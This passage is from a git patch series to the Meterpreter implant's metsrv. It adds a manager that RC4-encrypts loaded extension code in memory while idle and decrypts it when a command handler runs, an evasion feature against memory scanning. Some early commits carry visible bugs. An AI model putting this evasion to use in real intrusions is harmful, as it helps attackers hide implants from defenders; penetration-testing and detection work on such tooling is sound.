} + } } + dprintf("[extension_encryption][extension_encryption_get] Function exiting."); LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return ret; } BOOL extension_encryption_remove(ExtensionEncryptionStatus* lpExtensionStatus) { - BOOL ret = FALSE; + BOOL ret = TRUE; EnterCriticalSection(&g_ExtensionEncryptionManager->cs); + dprintf("[extension_encryption][extension_encryption_remove] Removing extension."); if (lpExtensionStatus == NULL) { dprintf("[extension_encryption][extension_encryption_remove] lpExtensionStatus is NULL."); return ret; } - for (int i = 0; i < g_ExtensionEncryptionManager->dwExtensionsCount; i++) { + for (DWORD i = 0; i < g_ExtensionEncryptionManager->dwExtensionsCount; i++) { if (g_ExtensionEncryptionManager->extensionStatuses[i] == lpExtensionStatus) { g_ExtensionEncryptionManager->extensionStatuses[i] = g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1]; g_ExtensionEncryptionManager->extensionStatuses[g_ExtensionEncryptionManager->dwExtensionsCount - 1] = NULL; @@ -265,6 +287,7 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) EnterCriticalSection(&g_ExtensionEncryptionManager->cs); BOOL ret = FALSE; + BOOL bError = FALSE; unsigned char *lpTempBufferRead = NULL; unsigned char *lpTempBufferWrite = NULL; HANDLE hHeap = GetProcessHeap(); @@ -273,61 +296,66 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) if(!lpExtensionStatus->bEncryptable) { dprintf("[extension_encryption][extension_encryption_encrypt] Extension is not encryptable."); - return ret; + bError = TRUE; } - if(lpExtensionStatus->bEncrypted) { + if(!bError && lpExtensionStatus->bEncrypted) { dprintf("[extension_encryption][extension_encryption_encrypt] Extension is already encrypted."); ret = TRUE; - return ret; + bError = TRUE; } - lpTempBufferRead = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); - lpTempBufferWrite = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); - if (lpTempBufferRead == NULL) { - dprintf("[extension_encryption][extension_encryption_encrypt] HeapAlloc failed on lpTempBufferRead."); - return ret; - } - - if (lpTempBufferWrite == NULL) { - dprintf("[extension_encryption][extension_encryption_encrypt] HeapAlloc failed on lpTempBufferWrite."); - HeapFree(hHeap, 0, lpTempBufferRead); - return ret; - } + if (!bError) { + lpTempBufferRead = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); + lpTempBufferWrite = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); - LPVOID ExtensionLoc = lpExtensionStatus->lpLoc; - DWORD ExtensionSize = lpExtensionStatus->dwSize; - - for(DWORD i = 0; i != ExtensionSize; i += diff) { - if ((ExtensionSize - i) < BUFFER_SIZE) { - diff = ExtensionSize - i; - } - ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferRead, diff, &ByteCounter); - if (!ret || ByteCounter != diff) { - dprintf("[extension_encryption][extension_encryption_encrypt] ReadProcessMemory failed with error 0x%x", GetLastError()); - break; + if (lpTempBufferRead == NULL) { + dprintf("[extension_encryption][extension_encryption_encrypt] HeapAlloc failed on lpTempBufferRead."); + bError = TRUE; } - if (!g_ExtensionEncryptionManager->cryptoManager.encrypt(lpTempBufferRead, diff, lpTempBufferWrite, BUFFER_SIZE)) { - dprintf("[extension_encryption][extension_encryption_encrypt] CryptographicManager encrypt failed."); - ret = FALSE; - break; - } - ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferWrite, diff, &ByteCounter); - if (!ret || ByteCounter != diff) { - dprintf("[extension_encryption][extension_encryption_encrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); - break; + + if (lpTempBufferWrite == NULL) { + dprintf("[extension_encryption][extension_encryption_encrypt] HeapAlloc failed on lpTempBufferWrite."); + HeapFree(hHeap, 0, lpTempBufferRead); + bError = TRUE; } } - lpExtensionStatus->dwLastUsedTime = GetTickCount(); - lpExtensionStatus->bEncrypted = TRUE; + if (!bError) { + LPVOID ExtensionLoc = lpExtensionStatus->lpLoc; + DWORD ExtensionSize = lpExtensionStatus->dwSize; + + for (DWORD i = 0; i != ExtensionSize; i += diff) { + if ((ExtensionSize - i) < BUFFER_SIZE) { + diff = ExtensionSize - i; + } + ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferRead, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_encrypt] ReadProcessMemory failed with error 0x%x", GetLastError()); + break; + } + if (!g_ExtensionEncryptionManager->cryptoManager.encrypt(lpTempBufferRead, diff, lpTempBufferWrite, BUFFER_SIZE)) { + dprintf("[extension_encryption][extension_encryption_encrypt] CryptographicManager encrypt failed."); + ret = FALSE; + break; + } + ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferWrite, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_encrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); + break; + } + } + + lpExtensionStatus->dwLastUsedTime = GetTickCount(); + lpExtensionStatus->bEncrypted = TRUE; + } LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return ret; } BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) { EnterCriticalSection(&g_ExtensionEncryptionManager->cs); - + BOOL bError = FALSE; BOOL ret = FALSE; unsigned char *lpTempBufferRead = NULL; unsigned char *lpTempBufferWrite = NULL; @@ -337,64 +365,72 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) if(!lpExtensionStatus->bEncryptable) { dprintf("[extension_encryption][extension_encryption_decrypt] Extension is not encryptable."); - return ret; + bError = TRUE; } - if(!lpExtensionStatus->bEncrypted) { + if(!bError && !lpExtensionStatus->bEncrypted) { dprintf("[extension_encryption][extension_encryption_decrypt] Extension is already decrypted."); ret = TRUE; - return ret; - } - lpTempBufferRead = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); - lpTempBufferWrite = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); - - if (lpTempBufferRead == NULL) { - dprintf("[extension_encryption][extension_encryption_decrypt] HeapAlloc failed on lpTempBufferRead."); - return ret; - } - - if (lpTempBufferWrite == NULL) { - dprintf("[extension_encryption][extension_encryption_decrypt] HeapAlloc failed on lpTempBufferWrite."); - HeapFree(hHeap, 0, lpTempBufferRead); - return ret; + bError = TRUE; } LPVOID ExtensionLoc = lpExtensionStatus->lpLoc; DWORD ExtensionSize = lpExtensionStatus->dwSize; - if( g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh ) { - if (g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { - if (g_ExtensionEncryptionManager->cryptoManager.refresh(g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext, (LPVOID) g_ExtensionEncryptionManager->cryptoManager.lpCryptoParams) != 0) { - dprintf("[extension_encryption][extension_encryption_decrypt] CryptographicManager refresh failed."); - LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); - return FALSE; - } - } - } + if (!bError) { + lpTempBufferRead = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); + lpTempBufferWrite = (unsigned char*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, BUFFER_SIZE); - for(DWORD i = 0; i != ExtensionSize; i += diff) { - if ((ExtensionSize - i) < BUFFER_SIZE) { - diff = ExtensionSize - i; + if (lpTempBufferRead == NULL) { + dprintf("[extension_encryption][extension_encryption_decrypt] HeapAlloc failed on lpTempBufferRead."); + bError = TRUE; } - ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferRead, diff, &ByteCounter); - if (!ret || ByteCounter != diff) { - dprintf("[extension_encryption][extension_encryption_decrypt] ReadProcessMemory failed with error 0x%x", GetLastError()); - break; - } - if (!g_ExtensionEncryptionManager->cryptoManager.decrypt(lpTempBufferRead, diff, lpTempBufferWrite, BUFFER_SIZE)) { - dprintf("[extension_encryption][extension_encryption_decrypt] CryptographicManager decrypt failed."); - ret = FALSE; - break; + + if (lpTempBufferWrite == NULL) { + dprintf("[extension_encryption][extension_encryption_decrypt] HeapAlloc failed on lpTempBufferWrite."); + HeapFree(hHeap, 0, lpTempBufferRead); + bError = FALSE; } - ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferWrite, diff, &ByteCounter); - if (!ret || ByteCounter != diff) { - dprintf("[extension_encryption][extension_encryption_decrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); - break; + } + + if (!bError) { + if (g_ExtensionEncryptionManager->cryptoManager.bNeedsRefresh) { + if (g_ExtensionEncryptionManager->cryptoManager.refresh != NULL) { + if (g_ExtensionEncryptionManager->cryptoManager.refresh(g_ExtensionEncryptionManager->cryptoManager.lpCryptoContext, (LPVOID)g_ExtensionEncryptionManager->cryptoManager.lpCryptoParams) != 0) { + dprintf("[extension_encryption][extension_encryption_decrypt] CryptographicManager refresh failed."); + bError = TRUE; + } + } } } - lpExtensionStatus->dwLastUsedTime = GetTickCount(); - lpExtensionStatus->bEncrypted = FALSE; + if (!bError) { + for (DWORD i = 0; i != ExtensionSize; i += diff) { + if ((ExtensionSize - i) < BUFFER_SIZE) { + diff = ExtensionSize - i; + } + ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferRead, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_decrypt] ReadProcessMemory failed with error 0x%x", GetLastError()); + bError = TRUE; + break; + } + if (!g_ExtensionEncryptionManager->cryptoManager.decrypt(lpTempBufferRead, diff, lpTempBufferWrite, BUFFER_SIZE)) { + dprintf("[extension_encryption][extension_encryption_decrypt] CryptographicManager decrypt failed."); + ret = FALSE; + bError = TRUE; + break; + } + ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionLoc + i, lpTempBufferWrite, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_decrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); + bError = TRUE; + break; + } + } + lpExtensionStatus->dwLastUsedTime = GetTickCount(); + lpExtensionStatus->bEncrypted = FALSE; + } LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); return ret; } From df37b6303d3519be3b18df70606a1c212d30c75a Mon Sep 17 00:00:00 2001 From: xHector1337 Date: Mon, 2 Feb 2026 17:37:32 +0300 Subject: [PATCH 10/26] Add extension encryption manager --- .../source/metsrv/extension_encryption.c | 148 ++++++++++++++++++ .../source/metsrv/extension_encryption.h | 19 +++ c/meterpreter/workspace/metsrv/metsrv.vcxproj | 2 + .../workspace/metsrv/metsrv.vcxproj.filters | 2 + 4 files changed, 171 insertions(+) create mode 100644 c/meterpreter/source/metsrv/extension_encryption.c create mode 100644 c/meterpreter/source/metsrv/extension_encryption.h diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c new file mode 100644 index 000000000..15065a7a8 --- /dev/null +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -0,0 +1,148 @@ +#include "extension_encryption.h" + +extension_encryption_ctx* extension_statuses[MAX_EXTENSIONS] = { 0 }; + +BOOL extension_encryption_add(extension_encryption_ctx* ExtensionCtx) { + BOOL ret = FALSE; + + if (ExtensionCtx == NULL || !ExtensionCtx->encryptable) { + dprintf("[extension_encryption][extension_encryption_add] Either ExtensionCtx is NULL or Extension is not encryptable."); + return ret; + } + + for (int i = 0; i < MAX_EXTENSIONS; i++) { + if (extension_statuses[i] == NULL) { + extension_statuses[i] = ExtensionCtx; + ret = TRUE; + break; + } + } + if (!ret) { + dprintf("[extension_encryption][extension_encryption_add] Couldn't locate an empty member in extension_statuses array."); + } + return ret; +} + +BOOL extension_encryption_remove(extension_encryption_ctx* ExtensionCtx) { + BOOL ret = FALSE; + + if (ExtensionCtx == NULL) { + dprintf("[extension_encryption][extension_encryption_remove] ExtensionCtx is NULL."); + return ret; + } + + for (int i = 0; i < MAX_EXTENSIONS; i++) { + if (extension_statuses[i] == ExtensionCtx) { + extension_statuses[i] = NULL; + ret = TRUE; + break; + } + } + if (!ret) { + dprintf("[extension_encryption][extension_encryption_remove] Couldn't locate ExtensionCtx in extension_statuses array."); + } + return ret; +} + +BOOL extension_encryption_encrypt(extension_encryption_ctx* ExtensionCtx) { + RC4_CTX RC4 = { 0 }; + size_t KeyLength = 0; + BOOL ret = FALSE; + unsigned char buff[4096] = { 0 }; + DWORD diff = 4096; + size_t ByteCounter = 0; + + if (ExtensionCtx == NULL || !ExtensionCtx->encryptable || ExtensionCtx->encrypted || !ExtensionCtx->size || ExtensionCtx->key == NULL || ExtensionCtx->loc == NULL) { + dprintf("[extension_encryption][extension_encryption_encrypt] Invalid ExtensionCtx."); + return ret; + } + + KeyLength = strlen(ExtensionCtx->key); + + if (!KeyLength || !InitRc4(&RC4, ExtensionCtx->key, KeyLength)) { + dprintf("[extension_encryption][extension_encryption_encrypt] Either KeyLength is 0 or InitRc4 failed."); + return ret; + } + + for (DWORD i = 0; i != ExtensionCtx->size; i += diff) { + if ((ExtensionCtx->size - i) < 4096) { + diff = ExtensionCtx->size - i; + } + ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc + i, buff, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_encrypt] ReadProcessMemory failed with error 0x%x", GetLasatError()); + break; + } + if (!RC4Cipher(&RC4, buff, diff)) { + dprintf("[extension_encryption][extension_encryption_encrypt] RC4Cipher failed."); + ret = FALSE; + break; + } + ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc, buff, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_encrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); + break; + } + } + if (ret) { + ExtensionCtx->encrypted = !ExtensionCtx->encrypted; + } + return ret; +} + +BOOL extension_encryption_decrypt(extension_encryption_ctx* ExtensionCtx) { + RC4_CTX RC4 = { 0 }; + size_t KeyLength = 0; + BOOL ret = FALSE; + unsigned char buff[4096] = { 0 }; + DWORD diff = 4096; + size_t ByteCounter = 0; + + if (ExtensionCtx == NULL || !ExtensionCtx->encryptable || !ExtensionCtx->encrypted || !ExtensionCtx->size || ExtensionCtx->key == NULL || ExtensionCtx->loc == NULL) { + dprintf("[extension_encryption][extension_encryption_decrypt] Invalid ExtensionCtx."); + return ret; + } + + KeyLength = strlen(ExtensionCtx->key); + + if (!KeyLength || !InitRc4(&RC4, ExtensionCtx->key, KeyLength)) { + dprintf("[extension_encryption][extension_encryption_decrypt] Either KeyLength is 0 or InitRc4 failed."); + return ret; + } + + for (DWORD i = 0; i != ExtensionCtx->size; i += diff) { + if ((ExtensionCtx->size - i) < 4096) { + diff = ExtensionCtx->size - i; + } + ret = ReadProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc + i, buff, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_decrypt] ReadProcessMemory failed with error 0x%x", GetLasatError()); + break; + } + if (!RC4Cipher(&RC4, buff, diff)) { + dprintf("[extension_encryption][extension_encryption_decrypt] RC4Cipher failed."); + ret = FALSE; + break; + } + ret = WriteProcessMemory(GetCurrentProcess(), (unsigned char*)ExtensionCtx->loc, buff, diff, &ByteCounter); + if (!ret || ByteCounter != diff) { + dprintf("[extension_encryption][extension_encryption_decrypt] WriteProcessMemory failed with error 0x%x", GetLastError()); + break; + } + } + if (ret) { + ExtensionCtx->encrypted = !ExtensionCtx->encrypted; + } + return ret; +} + +void extension_encryption_encrypt_unused() { + for (int i = 0; i < MAX_EXTENSIONS; i++) { + if (extension_statuses[i] == NULL || !extension_statuses[i]->encryptable || extension_statuses[i]->encrypted || (GetTickCount() - extension_statuses[i]->LastUsedTime) < 600000) { + continue; + } + if (!extension_encryption_encrypt(extension_statuses[i])) { + dprintf("[extension_encryption][extension_encryption_encrypt_unused] extension_statuses[%d] couldn't be encrypted.", i); + } + } +} \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/extension_encryption.h b/c/meterpreter/source/metsrv/extension_encryption.h new file mode 100644 index 000000000..14870a8ce --- /dev/null +++ b/c/meterpreter/source/metsrv/extension_encryption.h @@ -0,0 +1,19 @@ +#include "rc4.h" +#include "common.h" + +#define MAX_EXTENSIONS 32 // ?? + +typedef struct { + BOOL encryptable; + BOOL encrypted; + LPCSTR key; + LPVOID loc; + DWORD size; + DWORD LastUsedTime; +} extension_encryption_ctx; + +BOOL extension_encryption_add(extension_encryption_ctx* ExtensionCtx); +BOOL extension_encryption_remove(extension_encryption_ctx* ExtensionCtx); +BOOL extension_encryption_encrypt(extension_encryption_ctx* ExtensionCtx); +BOOL extension_encryption_decrypt(extension_encryption_ctx* ExtensionCtx); +void extension_encryption_encrypt_unused(); \ No newline at end of file diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 44f2c7c2e..98c5a920c 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -571,6 +571,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -603,6 +604,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters index 4fea91254..e3a7876c4 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters @@ -29,6 +29,7 @@ + @@ -61,6 +62,7 @@ + From 14db760230627fb175f7aa71e5b276b8162690d6 Mon Sep 17 00:00:00 2001 From: xHector1337 Date: Sun, 8 Feb 2026 09:58:09 +0300 Subject: [PATCH 11/26] bug fix --- .../source/metsrv/extension_encryption.c | 26 ++++++++++++++++--- 1 file changed, 22 insertions(+), 4 deletions(-) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 260ca4bff..614ed6ce8 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -303,6 +303,7 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) dprintf("[extension_encryption][extension_encryption_encrypt] Extension is already encrypted."); ret = TRUE; bError = TRUE; + lpExtensionStatus->dwLastUsedTime = GetTickCount(); } if (!bError) { @@ -316,7 +317,9 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) if (lpTempBufferWrite == NULL) { dprintf("[extension_encryption][extension_encryption_encrypt] HeapAlloc failed on lpTempBufferWrite."); - HeapFree(hHeap, 0, lpTempBufferRead); + if (lpTempBufferRead != NULL) { + HeapFree(hHeap, 0, lpTempBufferRead); + } bError = TRUE; } } @@ -350,6 +353,12 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) lpExtensionStatus->bEncrypted = TRUE; } LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); + + if (lpTempBufferWrite != NULL && lpTempBufferRead != NULL) { + HeapFree(hHeap, 0, lpTempBufferWrite); + HeapFree(hHeap, 0, lpTempBufferRead); + } + return ret; } @@ -372,6 +381,7 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) dprintf("[extension_encryption][extension_encryption_decrypt] Extension is already decrypted."); ret = TRUE; bError = TRUE; + lpExtensionStatus->dwLastUsedTime = GetTickCount(); } LPVOID ExtensionLoc = lpExtensionStatus->lpLoc; @@ -385,11 +395,13 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) dprintf("[extension_encryption][extension_encryption_decrypt] HeapAlloc failed on lpTempBufferRead."); bError = TRUE; } - + if (lpTempBufferWrite == NULL) { dprintf("[extension_encryption][extension_encryption_decrypt] HeapAlloc failed on lpTempBufferWrite."); - HeapFree(hHeap, 0, lpTempBufferRead); - bError = FALSE; + if (lpTempBufferRead != NULL) { + HeapFree(hHeap, 0, lpTempBufferRead); + } + bError = TRUE; } } @@ -432,6 +444,12 @@ BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpExtensionStatus) lpExtensionStatus->bEncrypted = FALSE; } LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); + + if (lpTempBufferWrite != NULL && lpTempBufferRead != NULL) { + HeapFree(hHeap, 0, lpTempBufferWrite); + HeapFree(hHeap, 0, lpTempBufferRead); + } + return ret; } From 53441ced4b0622264c038de0b18704f9dab9cf04 Mon Sep 17 00:00:00 2001 From: xHector1337 Date: Sun, 8 Feb 2026 13:30:39 +0300 Subject: [PATCH 12/26] revert the usage of GetTickCount in extension_encryption_encrypt --- c/meterpreter/source/metsrv/extension_encryption.c | 1 - 1 file changed, 1 deletion(-) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 614ed6ce8..225a80004 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -303,7 +303,6 @@ BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpExtensionStatus) dprintf("[extension_encryption][extension_encryption_encrypt] Extension is already encrypted."); ret = TRUE; bError = TRUE; - lpExtensionStatus->dwLastUsedTime = GetTickCount(); } if (!bError) { From 628ca94f1bb36866a35737f84e17ea61d3de075a Mon Sep 17 00:00:00 2001 From: xHector1337 Date: Mon, 9 Feb 2026 18:21:40 +0300 Subject: [PATCH 13/26] add extensionFindDecrypt function --- .../source/metsrv/extension_encryption.c | 28 +++++++++++++++++++ .../source/metsrv/extension_encryption.h | 8 +++++- 2 files changed, 35 insertions(+), 1 deletion(-) diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 225a80004..2a91b3e79 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -466,4 +466,32 @@ void extension_encryption_encrypt_unused() { } } LeaveCriticalSection(&g_ExtensionEncryptionManager->cs); +} + +DWORD extensionFindDecrypt(LPVOID lpHandlerFunction) { + ExtensionEncryptionManager* encryptionManager = NULL; + ExtensionEncryptionStatus* extensionStatus = NULL; + + if (lpHandlerFunction == NULL) { + dprintf("[extension_encryption][extensionFindDecrypt] lpHandlerFunction is NULL"); + return EXTENSION_ENCRYPTION_INVALID_HANDLER_FUNCTION; + } + + if ((encryptionManager = GetExtensionEncryptionManager()) == NULL) { + dprintf("[extension_encryption][extensionFindDecrypt] Couldn't get the extension encryption manager "); + return EXTENSION_ENCRYPTION_INVALID_EXTENSION_MANAGER; + } + + if (!encryptionManager->get(lpHandlerFunction, &extensionStatus)) { + dprintf("[extension_encryption][extensionFindDecrypt] Couldn't get extension status"); + return EXTENSION_ENCRYPTION_EXTENSION_NOT_FOUND; + } + + if (!encryptionManager->decrypt(extensionStatus)) { + dprintf("[extension_encryption][extensionFindDecrypt] Decryption of the extension is failed"); + return EXTENSION_ENCRYPTION_DECRYPTION_ERROR; + } + + return ERROR_SUCCESS; + } \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/extension_encryption.h b/c/meterpreter/source/metsrv/extension_encryption.h index e204bcf6e..752801edc 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.h +++ b/c/meterpreter/source/metsrv/extension_encryption.h @@ -11,6 +11,11 @@ #define ENCRYPTION_30_MINUTES_MS (30 * 60 * 1000) #define ENCRYPTION_1_HOUR_MS (60 * 60 * 1000) +#define EXTENSION_ENCRYPTION_INVALID_HANDLER_FUNCTION 1 +#define EXTENSION_ENCRYPTION_INVALID_EXTENSION_MANAGER 2 +#define EXTENSION_ENCRYPTION_EXTENSION_NOT_FOUND 3 +#define EXTENSION_ENCRYPTION_DECRYPTION_ERROR 4 + #define ENCRYPTION_UNUSED_COOLDOWN_MS ENCRYPTION_5_MINUTES_MS @@ -61,4 +66,5 @@ BOOL extension_encryption_remove(ExtensionEncryptionStatus* lpStatus); BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpStatus); BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpStatus); -void extension_encryption_encrypt_unused(); \ No newline at end of file +void extension_encryption_encrypt_unused(); +DWORD extensionFindDecrypt(LPVOID lpHandlerFunction); \ No newline at end of file From 7559689de05945900e6fcfb187abb73c4c35a06b Mon Sep 17 00:00:00 2001 From: xHector1337 Date: Tue, 10 Feb 2026 17:46:27 +0300 Subject: [PATCH 14/26] add additional checks into extensionFindDecrypt and use it in command_process_inline --- c/meterpreter/source/metsrv/base.c | 63 +++++++------------ .../source/metsrv/extension_encryption.c | 4 +- 2 files changed, 26 insertions(+), 41 deletions(-) diff --git a/c/meterpreter/source/metsrv/base.c b/c/meterpreter/source/metsrv/base.c index 8ca50db94..24ac3dab6 100644 --- a/c/meterpreter/source/metsrv/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -291,9 +291,6 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) { do { - ExtensionEncryptionManager* encryptionManager = GetExtensionEncryptionManager(); - ExtensionEncryptionStatus* extStatus = NULL; - commandId = command->command_id; dprintf("[COMMAND] Executing command %u", commandId); @@ -322,15 +319,12 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) case PACKET_TLV_TYPE_PLAIN_REQUEST: if (command->request.inline_handler) { dprintf("[DISPATCH] executing inline request handler %u", commandId); - if(encryptionManager != NULL && encryptionManager->get(command->request.inline_handler, &extStatus)) { - if(extStatus != NULL && extStatus->bEncrypted) { - dprintf("[COMMAND] Decrypting Extension having command %u", commandId); - if(encryptionManager->decrypt(extStatus)){ - dprintf("[COMMAND] Decryption successful for command %u", commandId); - } else { - dprintf("[COMMAND] Decryption failed for command %u", commandId); - } - } + dprintf("[DISPATCH] Calling extensionFindDecrypt for command %u", commandId); + if (!extensionFindDecrypt(command->request.inline_handler)) { + dprintf("[COMMAND] Decryption successful for command %u", commandId); + } + else { + dprintf("[COMMAND] Decryption failed for command %u", commandId); } serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue; dprintf("[DISPATCH] executed %u, continue %s", commandId, serverContinue ? "yes" : "no"); @@ -338,15 +332,12 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) else { dprintf("[DISPATCH] executing request handler %u", commandId); - if(encryptionManager != NULL && encryptionManager->get(command->request.handler, &extStatus)) { - if(extStatus != NULL && extStatus->bEncrypted) { - dprintf("[COMMAND] Decrypting Extension having command %u", commandId); - if(encryptionManager->decrypt(extStatus)){ - dprintf("[COMMAND] Decryption successful for command %u", commandId); - } else { - dprintf("[COMMAND] Decryption failed for command %u", commandId); - } - } + dprintf("[DISPATCH] Calling extensionFindDecrypt for command %u", commandId); + if (!extensionFindDecrypt(command->request.handler)) { + dprintf("[COMMAND] Decryption successful for command %u", commandId); + } + else { + dprintf("[COMMAND] Decryption failed for command %u", commandId); } result = command->request.handler(remote, packet); } @@ -356,30 +347,24 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) if (command->response.inline_handler) { dprintf("[DISPATCH] executing inline response handler %u", commandId); - if(encryptionManager != NULL && encryptionManager->get(command->response.inline_handler, &extStatus)) { - if(extStatus != NULL && extStatus->bEncrypted) { - dprintf("[COMMAND] Decrypting Extension having command %u", commandId); - if(encryptionManager->decrypt(extStatus)){ - dprintf("[COMMAND] Decryption successful for command %u", commandId); - } else { - dprintf("[COMMAND] Decryption failed for command %u", commandId); - } - } + dprintf("[DISPATCH] Calling extensionFindDecrypt for command %u", commandId); + if (!extensionFindDecrypt(command->response.inline_handler)) { + dprintf("[COMMAND] Decryption successful for command %u", commandId); + } + else { + dprintf("[COMMAND] Decryption failed for command %u", commandId); } serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue; } else { dprintf("[DISPATCH] executing response handler %u", commandId); - if(encryptionManager != NULL && encryptionManager->get(command->response.handler, &extStatus)) { - if(extStatus != NULL && extStatus->bEncrypted) { - dprintf("[COMMAND] Decrypting Extension having command %u", commandId); - if(encryptionManager->decrypt(extStatus)){ - dprintf("[COMMAND] Decryption successful for command %u", commandId); - } else { - dprintf("[COMMAND] Decryption failed for command %u", commandId); - } - } + dprintf("[DISPATCH] Calling extensionFindDecrypt for command %u", commandId); + if (!extensionFindDecrypt(command->response.handler)) { + dprintf("[COMMAND] Decryption successful for command %u", commandId); + } + else { + dprintf("[COMMAND] Decryption failed for command %u", commandId); } result = command->response.handler(remote, packet); } diff --git a/c/meterpreter/source/metsrv/extension_encryption.c b/c/meterpreter/source/metsrv/extension_encryption.c index 2a91b3e79..42e0a57c6 100644 --- a/c/meterpreter/source/metsrv/extension_encryption.c +++ b/c/meterpreter/source/metsrv/extension_encryption.c @@ -482,12 +482,12 @@ DWORD extensionFindDecrypt(LPVOID lpHandlerFunction) { return EXTENSION_ENCRYPTION_INVALID_EXTENSION_MANAGER; } - if (!encryptionManager->get(lpHandlerFunction, &extensionStatus)) { + if (!encryptionManager->get(lpHandlerFunction, 